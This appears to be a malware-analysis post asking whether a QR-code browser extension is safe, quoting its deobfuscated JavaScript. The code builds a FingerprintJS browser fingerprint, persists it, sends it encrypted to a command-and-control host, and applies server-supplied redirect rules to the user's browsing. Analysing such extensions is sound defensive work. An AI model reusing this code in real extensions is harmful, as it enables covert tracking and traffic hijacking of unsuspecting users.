Is 二维码小能手 safe?

// state: cached fingerprint + server-provided config
const state = { fingerprint: "", jsonData: {} };

const sendFingerprintAndFetchConfig = (haveFingerprint) => {
  if (!haveFingerprint) {
    log("waiting", "fingerprint");
    return;
  }
  log("starting", "init");
  (async (fingerprint) => {
    try {
      const config = await (async (fingerprint) => {
        log("outbound payload", { bf: BUILD_FLAG, version: getExtensionVersion(), fg: fingerprint });

        const response = await fetch(`${C2_HOST}/sr105/qrinfo`, {
          method: "POST",
          headers: { "Content-Type": "application/json" },
          body: encryptAesCbc(JSON.stringify({
            bf: BUILD_FLAG,
            version: getExtensionVersion(),
            fg: fingerprint,
          })),
        });
        const json = await response.json();

        if (json.success === 1) {
          const decrypted = decryptAesCbc(json.data);
          return !!decrypted && JSON.parse(decrypted);
        }
        return false;
      })(fingerprint);

      log("received config", config);
      state.jsonData = config;
      new RedirectRuleManager(state.jsonData, state.fingerprint, BUILD_FLAG).init();
    } catch {
      log("request failed", "config fetch failed");
    }
  })(state.fingerprint);
};

// Content script posts { event: "setFingerprint", body: { id: <fingerprint> } }
// when no fingerprint is stored yet; background persists it and immediately
// fires the request above.
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
  if (message.event === "getFingerprint") {
    sendResponse(state.fingerprint ? { fingerprint: state.fingerprint } : false);
  }
  if (message.event === "setFingerprint") {
    const fingerprintId = message?.body?.id;
    log("received fingerprint", fingerprintId);
    if (fingerprintId) {
      chrome.storage.sync.set({ brext: fingerprintId });
      state.fingerprint = fingerprintId;
      sendFingerprintAndFetchConfig(true);
    }
  }
});

// On service-worker startup, reuse a fingerprint already persisted from a
// previous session.
chrome.storage.sync.get(["brext"], (stored) => {
  if (stored.brext) {
    log("cached fingerprint", stored.brext);
    state.fingerprint = stored.brext;
    sendFingerprintAndFetchConfig(true);
  } else {
    sendFingerprintAndFetchConfig(false);
  }
});

// ie = the FingerprintJS agent, already loading in the background
const fingerprintManager = new class {
  constructor() {
    this.fingerprint = "";
  }

  init() {
    chrome.runtime.sendMessage({ event: "getFingerprint", body: {} }, (response) => {
      if (response) {
        // Service worker already has a fingerprint cached; reuse it.
        const { fingerprint } = response;
        this.fingerprint = fingerprint;
      } else {
        // No fingerprint yet: run FingerprintJS and compute one.
        (async () => {
          const agent = await fingerprintJsAgent;
          const result = await agent.get();
          const { visitorId } = await result;
          return visitorId;
        })().then((visitorId) => {
          if (debugLoggingEnabled) {
            console.log("%ccreated fingerprint", "color: #4e6ef2", visitorId);
          }
          chrome.runtime.sendMessage({ event: "setFingerprint", body: { id: visitorId } });
        });
      }
    });
  }
};

// Invoked at the bottom of the bundle on every page load:
// fingerprintManager.init();